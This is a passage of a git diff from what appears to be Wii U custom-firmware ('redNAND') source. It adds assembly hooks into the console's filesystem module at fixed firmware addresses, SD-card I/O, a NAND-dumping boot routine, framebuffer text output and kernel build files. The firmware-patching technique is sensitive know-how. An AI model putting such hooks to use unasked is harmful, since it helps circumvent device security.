0x30, 0x18, 0x0C, 0x00, + 0x00, 0x66, 0x3C, 0xFF, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x18, 0x18, 0x7E, 0x18, 0x18, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x00, 0x40, 0x60, 0x30, 0x18, 0x0C, 0x06, 0x00, + 0x00, 0x3C, 0x66, 0x76, 0x6E, 0x66, 0x3C, 0x00, 0x00, 0x18, 0x1C, 0x18, 0x18, 0x18, 0x7E, 0x00, + 0x00, 0x3C, 0x62, 0x30, 0x0C, 0x06, 0x7E, 0x00, 0x00, 0x3C, 0x62, 0x38, 0x60, 0x66, 0x3C, 0x00, + 0x00, 0x6C, 0x6C, 0x66, 0xFE, 0x60, 0x60, 0x00, 0x00, 0x7E, 0x06, 0x7E, 0x60, 0x66, 0x3C, 0x00, + 0x00, 0x3C, 0x06, 0x3E, 0x66, 0x66, 0x3C, 0x00, 0x00, 0x7E, 0x30, 0x30, 0x18, 0x18, 0x18, 0x00, + 0x00, 0x3C, 0x66, 0x3C, 0x66, 0x66, 0x3C, 0x00, 0x00, 0x3C, 0x66, 0x7C, 0x60, 0x66, 0x3C, 0x00, + 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x18, 0x0C, 0x00, + 0x00, 0x70, 0x1C, 0x06, 0x06, 0x1C, 0x70, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x3E, 0x00, 0x00, 0x00, + 0x00, 0x0E, 0x38, 0x60, 0x60, 0x38, 0x0E, 0x00, 0x00, 0x3C, 0x66, 0x30, 0x18, 0x00, 0x18, 0x00, + 0x00, 0x3C, 0x66, 0x76, 0x76, 0x06, 0x46, 0x3C, 0x00, 0x3C, 0x66, 0x7E, 0x66, 0x66, 0x66, 0x00, + 0x00, 0x3E, 0x66, 0x3E, 0x66, 0x66, 0x3E, 0x00, 0x00, 0x3C, 0x66, 0x06, 0x06, 0x66, 0x3C, 0x00, + 0x00, 0x1E, 0x36, 0x66, 0x66, 0x36, 0x1E, 0x00, 0x00, 0x7E, 0x06, 0x1E, 0x06, 0x06, 0x7E, 0x00, + 0x00, 0x3E, 0x06, 0x1E, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3C, 0x66, 0x06, 0x76, 0x66, 0x3C, 0x00, + 0x00, 0x66, 0x66, 0x7E, 0x66, 0x66, 0x66, 0x00, 0x00, 0x3C, 0x18, 0x18, 0x18, 0x18, 0x3C, 0x00, + 0x00, 0x78, 0x30, 0x30, 0x30, 0x36, 0x1C, 0x00, 0x00, 0x66, 0x36, 0x1E, 0x1E, 0x36, 0x66, 0x00, + 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x7E, 0x00, 0x00, 0x46, 0x6E, 0x7E, 0x56, 0x46, 0x46, 0x00, + 0x00, 0x66, 0x6E, 0x7E, 0x76, 0x66, 0x66, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x00, + 0x00, 0x3E, 0x66, 0x3E, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x3C, 0x70, 0x00, + 0x00, 0x3E, 0x66, 0x3E, 0x1E, 0x36, 0x66, 0x00, 0x00, 0x3C, 0x66, 0x0C, 0x30, 0x66, 0x3C, 0x00, + 0x00, 0x7E, 0x18, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x00, + 0x00, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x18, 0x00, 0x00, 0x46, 0x46, 0x56, 0x7E, 0x6E, 0x46, 0x00, + 0x00, 0x66, 0x3C, 0x18, 0x3C, 0x66, 0x66, 0x00, 0x00, 0x66, 0x66, 0x3C, 0x18, 0x18, 0x18, 0x00, + 0x00, 0x7E, 0x30, 0x18, 0x0C, 0x06, 0x7E, 0x00, 0x00, 0x3C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x3C, + 0x00, 0x06, 0x0C, 0x18, 0x30, 0x60, 0x40, 0x00, 0x00, 0x3C, 0x30, 0x30, 0x30, 0x30, 0x30, 0x3C, + 0x00, 0x18, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, + 0x00, 0x0C, 0x18, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x60, 0x7C, 0x66, 0x7C, 0x00, + 0x00, 0x06, 0x06, 0x3E, 0x66, 0x66, 0x3E, 0x00, 0x00, 0x00, 0x3C, 0x06, 0x06, 0x06, 0x3C, 0x00, + 0x00, 0x60, 0x60, 0x7C, 0x66, 0x66, 0x7C, 0x00, 0x00, 0x00, 0x3C, 0x66, 0x7E, 0x06, 0x3C, 0x00, + 0x00, 0x38, 0x0C, 0x3E, 0x0C, 0x0C, 0x0C, 0x00, 0x00, 0x00, 0x7C, 0x66, 0x7C, 0x40, 0x3C, 0x00, + 0x00, 0x06, 0x06, 0x3E, 0x66, 0x66, 0x66, 0x00, 0x00, 0x18, 0x00, 0x1C, 0x18, 0x18, 0x3C, 0x00, + 0x00, 0x30, 0x00, 0x30, 0x30, 0x30, 0x1E, 0x00, 0x00, 0x06, 0x06, 0x36, 0x1E, 0x36, 0x66, 0x00, + 0x00, 0x1C, 0x18, 0x18, 0x18, 0x18, 0x3C, 0x00, 0x00, 0x00, 0x66, 0xFE, 0xFE, 0xD6, 0xC6, 0x00, + 0x00, 0x00, 0x3E, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x3C, 0x00, + 0x00, 0x00, 0x3E, 0x66, 0x66, 0x3E, 0x06, 0x00, 0x00, 0x00, 0x7C, 0x66, 0x66, 0x7C, 0x60, 0x00, + 0x00, 0x00, 0x3E, 0x66, 0x06, 0x06, 0x06, 0x00, 0x00, 0x00, 0x7C, 0x06, 0x3C, 0x60, 0x3E, 0x00, + 0x00, 0x18, 0x7E, 0x18, 0x18, 0x18, 0x70, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x7C, 0x00, + 0x00, 0x00, 0x66, 0x66, 0x66, 0x3C, 0x18, 0x00, 0x00, 0x00, 0xC6, 0xD6, 0xFE, 0x7C, 0x6C, 0x00, + 0x00, 0x00, 0x66, 0x3C, 0x18, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x66, 0x66, 0x7C, 0x60, 0x3C, 0x00, + 0x00, 0x00, 0x7E, 0x30, 0x18, 0x0C, 0x7E, 0x00, 0x00, 0x00, 0x18, 0x08, 0x08, 0x04, 0x08, 0x08, + 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x00, 0x00, 0x0C, 0x08, 0x08, 0x10, 0x08, 0x08, +}; diff --git a/ios_fs/source/font_bin.h b/ios_fs/source/font_bin.h new file mode 100644 index 0000000..949de6c --- /dev/null +++ b/ios_fs/source/font_bin.h @@ -0,0 +1 @@ +extern const u8 font_bin[]; \ No newline at end of file diff --git a/ios_fs/source/function_hooks.s b/ios_fs/source/function_hooks.s new file mode 100644 index 0000000..db64a94 --- /dev/null +++ b/ios_fs/source/function_hooks.s @@ -0,0 +1,92 @@ + +############################################################################################# +# FS main thread hook +############################################################################################# +.extern createDevThread_entry + .globl createDevThread_hook +createDevThread_hook: + push {r0,lr} + ldr r0, [r4, #0x8] + bl createDevThread_entry + pop {r0,lr} +# restore original instruction + pop {r4-r8,pc} + +############################################################################################# +# devices handle hooks +############################################################################################# +.extern getMdDeviceById + .globl getMdDeviceById_hook +getMdDeviceById_hook: + mov r4, r0 + push {lr} + bl getMdDeviceById + pop {lr} + cmp r0, #0 + moveq r0, r4 + bxeq lr + pop {r4,r5,pc} + + +############################################################################################# +# syslog hook +############################################################################################# + .globl syslogOutput_hook +syslogOutput_hook: +# push {r0,lr} +# bl dump_syslog +# pop {r0,lr} +# restore original instruction + pop {r4-r8,r10,pc} + +############################################################################################# +# Original NAND read functions +############################################################################################# + .globl slcRead1_original +slcRead1_original: + push {r4-r8,lr} + ldr r4, [pc] + bx r4 + .word 0x107B9990 + + .globl sdcardRead_original +sdcardRead_original: + push {r4,lr} + ldr r4, [pc] + bx r4 + .word 0x107BDDD4 + +############################################################################################# +# DEBUG STUFF +############################################################################################# +# # # # # # # # # # +# DEBUG STUFF # +# # # # # # # # # # +#mlcRead1_dbg: +# mlcRead1_dbg_stackframe equ (4*6) +# mov r12, r0 +# push {r0-r3,r12,lr} +# adr r0, mlcRead1_dbg_format +# ldr r1, [sp, #mlcRead1_dbg_stackframe+9*4] +# bl FS_SYSLOG_OUTPUT +# pop {r0-r3,lr,pc} # replaces mov lr, r0 +# mlcRead1_dbg_format: +# .ascii "mlcRead1 : %08X %08X %08X" +# .byte 0x0a +# .byte 0x00 +# .align 0x4 +# +#mlcRead1_end_hook: +# mlcRead1_end_hook_stackframe equ (4*10) +# push {r0} +# mov r0, #50 +# bl FS_SLEEP +# ldr r0, =sdcard_read_buffer +# ldr r1, [sp, #mlcRead1_end_hook_stackframe+4*1] +# mov r2, #0x200 +# bl FS_MEMCPY +# ldr r0, =sdcard_read_buffer +# str r6, [r0] +# mov r1, #0x200 +# bl dump_data +# pop {r0,r4-r11,pc} diff --git a/ios_fs/source/hardware_registers.h b/ios_fs/source/hardware_registers.h new file mode 100644 index 0000000..95950c4 --- /dev/null +++ b/ios_fs/source/hardware_registers.h @@ -0,0 +1,9 @@ +#ifndef HARDWARE_REGISTERS_H_ +#define HARDWARE_REGISTERS_H_ + +#define LT_GPIO_IN 0x0d8000e8 + + +#define GPIO_IN_POWER_BUTTON 0x01 + +#endif // HARDWARE_REGISTERS_H_ diff --git a/ios_fs/source/imports.h b/ios_fs/source/imports.h new file mode 100644 index 0000000..03023a7 --- /dev/null +++ b/ios_fs/source/imports.h @@ -0,0 +1,36 @@ +#ifndef IMPORTS_H_ +#define IMPORTS_H_ + +#define FS_IOS_SHUTDOWN ((void (*)(int))0x107F6C94) + +#define FS_SVC_CREATEMUTEX ((int (*)(int, int))0x107F6BBC) +#define FS_SVC_ACQUIREMUTEX ((int (*)(int, int))0x107F6BC4) +#define FS_SVC_RELEASEMUTEX ((int (*)(int))0x107F6BCC) +#define FS_SVC_DESTROYMUTEX ((int (*)(int))0x107F6BD4) + +#define FS_SLEEP ((void (*)(int))0x1071D668) +#define FS_MEMCPY ((void* (*)(void*, const void*, u32))0x107F4F7C) +#define FS_MEMSET ((void* (*)(void*, int, u32))0x107F5018) +#define FS_VSNPRINTF ((int (*)(char * s, size_t n, const char * format, va_list arg))0x107F5F68) +#define FS_SNPRINTF ((int (*)(char * s, size_t n, const char * format, ...))0x107F5FB4) + +#define FS_RAW_READ1 ((int (*)(int handle, u32 offset_high, u32 offset_low, u32 size, void* buf, void *callback, int callback_arg))0x10732BC0) +#define FS_SDIO_DOREADWRITECOMMAND ((int (*)(int, void*, u32, void*, void*))0x10718A8C) + +#define FS_REGISTERMDPHYSICALDEVICE ((int (*)(void*, int, int))0x10718860) + +#define memcpy FS_MEMCPY +#define memset FS_MEMSET + +#define FS_MMC_SDCARD_STRUCT ((vu32*)0x1089B9F8) +#define FS_MMC_MLC_STRUCT ((vu32*)0x1089B948) + +#define FS_MLC_PHYS_DEV_STRUCT ((void*)0x11C3A14C) +#define FS_SLC_PHYS_DEV_STRUCT ((void*)0x11C381CC) +#define FS_SLCCMPT_PHYS_DEV_STRUCT ((void*)0x11C37668) + +#define le16(i) ((((u16) ((i) & 0xFF)) << 8) | ((u16) (((i) & 0xFF00) >> 8))) +#define le32(i) ((((u32)le16((i) & 0xFFFF)) << 16) | ((u32)le16(((i) & 0xFFFF0000) >> 16))) +#define le64(i) ((((u64)le32((i) & 0xFFFFFFFFLL)) << 32) | ((u64)le32(((i) & 0xFFFFFFFF00000000LL) >> 32))) + +#endif // IMPORTS_H_ diff --git a/ios_fs/source/main.c b/ios_fs/source/main.c new file mode 100644 index 0000000..ef4a3d0 --- /dev/null +++ b/ios_fs/source/main.c @@ -0,0 +1,34 @@ +#include "text.h" +#include "sdio.h" +#include "dumper.h" +#include "imports.h" + +#define INITIALIZING_FLA 0x07 +#define INITIALIZING_MMC 0x0D + + +int getPhysicalDeviceHandle(u32 device); + +void createDevThread_entry(int initialization_type) +{ + if(initialization_type == INITIALIZING_MMC) + { + sdcard_init(); + } + + //if(initialization_type == INITIALIZING_FLA) + //{ + //dump_nand_complete(); + //} + + if(initialization_type == 0x01) // unknown but after SLC init no read/write done at this point yet + { + if(check_nand_dump() == 0) + { + clearScreen(0x000000FF); + _printf(20, 20, "welcome to redNAND!"); + + dump_nand_complete(); + } + } +} diff --git a/ios_fs/source/mlcio.c b/ios_fs/source/mlcio.c new file mode 100644 index 0000000..dc1b0b3 --- /dev/null +++ b/ios_fs/source/mlcio.c @@ -0,0 +1,11 @@ +#include "types.h" +#include "imports.h" + +void mlc_init(void) +{ + FS_MMC_MLC_STRUCT[0x24/4] = FS_MMC_MLC_STRUCT[0x24/4] | 0x20; + FS_MMC_MLC_STRUCT[0x28/4] = FS_MMC_MLC_STRUCT[0x28/4] & (~0x04); +} + + + diff --git a/ios_fs/source/mlcio.h b/ios_fs/source/mlcio.h new file mode 100644 index 0000000..e9edd3f --- /dev/null +++ b/ios_fs/source/mlcio.h @@ -0,0 +1,6 @@ +#ifndef _MLCIO_H_ +#define _MLCIO_H_ + +void mlc_init(void); + +#endif // _MLCIO_H_ diff --git a/ios_fs/source/sdio.c b/ios_fs/source/sdio.c new file mode 100644 index 0000000..a841598 --- /dev/null +++ b/ios_fs/source/sdio.c @@ -0,0 +1,107 @@ +#include "types.h" +#include "imports.h" + +static int sdcard_access_mutex = 0; +static u32 dumpdata_offset = 0; + +typedef struct _sd_command_block_t +{ + u32 cnt; + u32 block_size; + u32 command_type; + void * data_ptr; + u64 offset; + void *callback; + void *callback_arg; + int minus_one; +} __attribute__((packed)) sd_command_block_t; + +void sdcard_init(void) +{ + // this should run *after* /dev/mmc thread is created + // first we create our synchronization stuff + sdcard_access_mutex = FS_SVC_CREATEMUTEX(1, 1); + + dumpdata_offset = 0; + + // then we sleep until /dev/mmc is done initializing sdcard (TODO : better synchronization here) + FS_SLEEP(1000); + + // finally we set some flags to indicate sdcard is ready for use + FS_MMC_SDCARD_STRUCT[0x24/4] = FS_MMC_SDCARD_STRUCT[0x24/4] | 0x20; + FS_MMC_SDCARD_STRUCT[0x28/4] = FS_MMC_SDCARD_STRUCT[0x28/4] & (~0x04); +} + +static void sdcard_readwrite_callback(void *priv_data, int result) +{ + int *private_data = (int*)priv_data; + + private_data[1] = result; + + FS_SVC_RELEASEMUTEX(private_data[0]); +} + +void sdcard_lock_mutex(void) +{ + FS_SVC_ACQUIREMUTEX(sdcard_access_mutex, 0); +} + +void sdcard_unlock_mutex(void) +{ + FS_SVC_RELEASEMUTEX(sdcard_access_mutex); +} + +int sdcard_readwrite(int is_read, void *data, u32 cnt, u32 block_size, u32 offset_blocks, int * out_callback_arg, int device_id) +{ + // first of all, grab sdcard mutex + sdcard_lock_mutex(); + + //also create a mutex for synchronization with end of operation... + int sync_mutex = FS_SVC_CREATEMUTEX(1, 1); + + // ...and acquire it + FS_SVC_ACQUIREMUTEX(sync_mutex, 0); + + // block_size needs to be equal to sector_size (0x200) + while(block_size > 0x200) + { + block_size >>= 1; + cnt <<= 1; + offset_blocks <<= 1; + } + + // build rw command paramstruct + sd_command_block_t command; + command.cnt = cnt; + command.block_size = block_size; + command.command_type = (is_read ? 0x03 : 0x00); + command.data_ptr = data; + command.offset = offset_blocks; + command.callback = 0x00; + command.callback_arg = 0x00; + command.minus_one = (u32)-1; + + // setup parameters + int private_data[2]; + private_data[0] = sync_mutex; + private_data[1] = 0; + + // call readwrite function + int result = FS_SDIO_DOREADWRITECOMMAND(device_id, &command, offset_blocks, sdcard_readwrite_callback, (void*)private_data); + if(result == 0) + { + // wait for callback to give the go-ahead + FS_SVC_ACQUIREMUTEX(sync_mutex, 0); + + if(out_callback_arg) + { + *out_callback_arg = private_data[1]; + } + } + + // finally, release sdcard mutexes + FS_SVC_DESTROYMUTEX(sync_mutex); + sdcard_unlock_mutex(); + + return result; +} diff --git a/ios_fs/source/sdio.h b/ios_fs/source/sdio.h new file mode 100644 index 0000000..ce7686b --- /dev/null +++ b/ios_fs/source/sdio.h @@ -0,0 +1,12 @@ +#ifndef _SDIO_H_ +#define _SDIO_H_ + +#define SDIO_WRITE 0 +#define SDIO_READ 1 + +void sdcard_init(void); +void sdcard_lock_mutex(void); +void sdcard_unlock_mutex(void); +int sdcard_readwrite(int is_read, void *data, u32 cnt, u32 block_size, u32 offset_blocks, int * out_callback_arg, int device_id); + +#endif // _SDIO_H_ diff --git a/ios_fs/source/svc.h b/ios_fs/source/svc.h new file mode 100644 index 0000000..ce959a0 --- /dev/null +++ b/ios_fs/source/svc.h @@ -0,0 +1,29 @@ +#ifndef SVC_H +#define SVC_H + +#include "types.h" + +#define SHUTDOWN_TYPE_POWER_OFF 0 +#define SHUTDOWN_TYPE_REBOOT 1 + +typedef struct +{ + void* ptr; + u32 len; + u32 unk; +}iovec_s; + +void* svcAlloc(u32 heapid, u32 size); +void* svcAllocAlign(u32 heapid, u32 size, u32 align); +void svcFree(u32 heapid, void* ptr); +int svcOpen(char* name, int mode); +int svcClose(int fd); +int svcIoctl(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len); +int svcIoctlv(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector); +int svcInvalidateDCache(void* address, u32 size); +int svcFlushDCache(void* address, u32 size); + +void svcShutdown(int shutdown_type); +u32 svcRead32(u32 addr); + +#endif diff --git a/ios_fs/source/svc.s b/ios_fs/source/svc.s new file mode 100644 index 0000000..638ff3c --- /dev/null +++ b/ios_fs/source/svc.s @@ -0,0 +1,68 @@ +.arm +.align 4 + +.global svcAlloc +.type svcAlloc, %function +svcAlloc: + .word 0xE7F027F0 + bx lr + +.global svcAllocAlign +.type svcAllocAlign, %function +svcAllocAlign: + .word 0xE7F028F0 + bx lr + +.global svcFree +.type svcFree, %function +svcFree: + .word 0xE7F029F0 + bx lr + +.global svcOpen +.type svcOpen, %function +svcOpen: + .word 0xE7F033F0 + bx lr + +.global svcClose +.type svcClose, %function +svcClose: + .word 0xE7F034F0 + bx lr + +.global svcIoctl +.type svcIoctl, %function +svcIoctl: + .word 0xE7F038F0 + bx lr + +.global svcIoctlv +.type svcIoctlv, %function +svcIoctlv: + .word 0xE7F039F0 + bx lr + +.global svcInvalidateDCache +.type svcInvalidateDCache, %function +svcInvalidateDCache: + .word 0xE7F051F0 + bx lr + +.global svcFlushDCache +.type svcFlushDCache, %function +svcFlushDCache: + .word 0xE7F052F0 + bx lr + +.global svcShutdown +.type svcShutdown, %function +svcShutdown: + .word 0xE7F072F0 + bx lr + +.global svcRead32 +.type svcRead32, %function +svcRead32: + .word 0xE7F081F0 + bx lr diff --git a/ios_fs/source/text.c b/ios_fs/source/text.c new file mode 100644 index 0000000..dd0c4a1 --- /dev/null +++ b/ios_fs/source/text.c @@ -0,0 +1,90 @@ +#include +#include +#include +#include +#include "imports.h" +#include "types.h" +#include "font_bin.h" + +#define FRAMEBUFFER_ADDRESS (0x14000000+0x38C0000) +#define FRAMEBUFFER_STRIDE (0xE00) +#define FRAMEBUFFER_STRIDE_WORDS (FRAMEBUFFER_STRIDE >> 2) + +#define CHAR_SIZE_X (8) +#define CHAR_SIZE_Y (8) + +u32* const framebuffer = (u32*)FRAMEBUFFER_ADDRESS; + +void clearScreen(u32 color) +{ + int i; + for(i = 0; i < ((FRAMEBUFFER_STRIDE * 504)/4); i++) + { + framebuffer[i] = color; + } +} + +void clearLine(int y, u32 color) +{ + u32* fb = &framebuffer[y * FRAMEBUFFER_STRIDE_WORDS]; + u32* fb_end = &framebuffer[(y+CHAR_SIZE_Y) * FRAMEBUFFER_STRIDE_WORDS]; + + while(fb < fb_end) + { + *fb = color; + fb++; + } +} + +void drawCharacter(char c, int x, int y) +{ + if(c < 32)return; + c -= 32; + u8* charData = (u8*)&font_bin[(CHAR_SIZE_X * CHAR_SIZE_Y * c) / 8]; + u32* fb = &framebuffer[x + y * FRAMEBUFFER_STRIDE_WORDS]; + int i, j; + for(i = 0; i < CHAR_SIZE_Y; i++) + { + u8 v= *(charData++); + for(j = 0; j < CHAR_SIZE_X; j++) + { + if(v & 1) *fb = 0x00000000; + else *fb = 0xFFFFFFFF; + v >>= 1; + fb++; + } + fb += FRAMEBUFFER_STRIDE_WORDS - CHAR_SIZE_X; + } +} + +void drawString(char* str, int x, int y) +{ + if(!str) return; + int k; + int dx = 0, dy = 0; + for(k = 0; str[k]; k++) + { + if(str[k] >= 32 && str[k] < 128) drawCharacter(str[k], x + dx, y + dy); + + dx += 8; + + if(str[k] == '\n') + { + dx = 0; + dy -= 8; + } + } +} + +void _printf(int x, int y, const char *format, ...) +{ + va_list args; + va_start(args, format); + + char buffer[0x100]; + + FS_VSNPRINTF(buffer, sizeof(buffer), format, args); + drawString(buffer, x, y); + + va_end(args); +} diff --git a/ios_fs/source/text.h b/ios_fs/source/text.h new file mode 100644 index 0000000..008cfce --- /dev/null +++ b/ios_fs/source/text.h @@ -0,0 +1,11 @@ +#ifndef TEXT_H +#define TEXT_H + +#include "types.h" + +void clearScreen(u32 color); +void clearLine(int y, u32 color); +void drawString(char* str, int x, int y); +void _printf(int x, int y, const char *format, ...); + +#endif diff --git a/ios_fs/source/types.h b/ios_fs/source/types.h new file mode 100644 index 0000000..832bc29 --- /dev/null +++ b/ios_fs/source/types.h @@ -0,0 +1,29 @@ +#ifndef TYPES_H +#define TYPES_H + + #include + #include + + #define U64_MAX UINT64_MAX + + typedef uint8_t u8; + typedef uint16_t u16; + typedef uint32_t u32; + typedef uint64_t u64; + + typedef int8_t s8; + typedef int16_t s16; + typedef int32_t s32; + typedef int64_t s64; + + typedef volatile u8 vu8; + typedef volatile u16 vu16; + typedef volatile u32 vu32; + typedef volatile u64 vu64; + + typedef volatile s8 vs8; + typedef volatile s16 vs16; + typedef volatile s32 vs32; + typedef volatile s64 vs64; + +#endif diff --git a/ios_kernel/Makefile b/ios_kernel/Makefile new file mode 100644 index 0000000..083d180 --- /dev/null +++ b/ios_kernel/Makefile @@ -0,0 +1,80 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-gcc +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +OBJDUMP = arm-none-eabi-objdump +CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os +LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld +LIBDIRS += -L$(CURDIR)/../libs +LIBS += -lgcc + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -EB -o $(@) +endef + +.PHONY:=all dirs + +all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + +dirs: + @mkdir -p build + +$(PROJECTNAME).elf: $(OFILES) + @echo "LD $@" + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) $(LIBDIRS) $(LIBS) + +$(PROJECTNAME).bin: $(PROJECTNAME).elf + @echo "OBJCOPY $@\n" + @$(OBJCOPY) -j .text -j .rodata -j .data -O binary $(PROJECTNAME).elf $@ + +$(PROJECTNAME).bin.h: $(PROJECTNAME).bin + @xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@ + +$(PROJECTNAME)_syms.h: + @echo "#ifndef $(PROJECTNAME)_SYMS_H" > $@ + @echo "#define $(PROJECTNAME)_SYMS_H" >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep 'g F .text' | grep -v '.hidden' | awk '{print "#define " $$6 " 0x" $$1}' >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep -e 'g .text' -e '_bss_' | awk '{print "#define " $$5 " 0x" $$1}' >> $@ + @echo "#endif" >> $@ + +clean: + @rm -f build/*.o build/*.d + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo "BIN $(notdir $<)" + @$(bin2o) diff --git a/ios_kernel/link.ld b/ios_kernel/link.ld new file mode 100644 index 0000000..7371f7d --- /dev/null +++ b/ios_kernel/link.ld @@ -0,0 +1,28 @@ +OUTPUT_ARCH(arm) + +SECTIONS +{ + . = (0x08135000); + + __KERNEL_CODE_START = .; + .text : { + build/crt0.o(.init) + *(.text*); + } + .rodata : { + *(.rodata*) + } + .data : { + *(.data*) + } + .bss : { + *(.bss*) + *(COMMON*) + } + __KERNEL_CODE_END = .; + + /DISCARD/ : { + *(*); + } +} + diff --git a/ios_kernel/source/config.h b/ios_kernel/source/config.h new file mode 100644 index 0000000..791a2b2 --- /dev/null +++ b/ios_kernel/source/config.h @@ -0,0 +1,31 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __CONFIG_H_ +#define __CONFIG_H_ + +#include "../../src/cfw_config.h" + +extern cfw_config_t cfw_config; + +#endif diff --git a/ios_kernel/source/crt0.s b/ios_kernel/source/crt0.s new file mode 100644 index 0000000..83d7bb6 --- /dev/null +++ b/ios_kernel/source/crt0.s @@ -0,0 +1,9 @@ +.section ".init" +.arm +.align 4 + +.extern _main +.type _main, %function + +_start: + b _main diff --git a/ios_kernel/source/elf_abi.h b/ios_kernel/source/elf_abi.h new file mode 100644 index 0000000..4d9c796 --- /dev/null +++ b/ios_kernel/source/elf_abi.h @@ -0,0 +1,591 @@ +/* + * Copyright (c) 1995, 1996, 2001, 2002 + * Erik Theisen. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * This is the ELF ABI header file + * formerly known as "elf_abi.h". + */ + +#ifndef _ELF_ABI_H +#define _ELF_ABI_H + +/* + * This version doesn't work for 64-bit ABIs - Erik. + */ + +/* + * These typedefs need to be handled better. + */ +typedef unsigned int Elf32_Addr; /* Unsigned program address */ +typedef unsigned int Elf32_Off; /* Unsigned file offset */ +typedef signed int Elf32_Sword; /* Signed large integer */ +typedef unsigned int Elf32_Word; /* Unsigned large integer */ +typedef unsigned 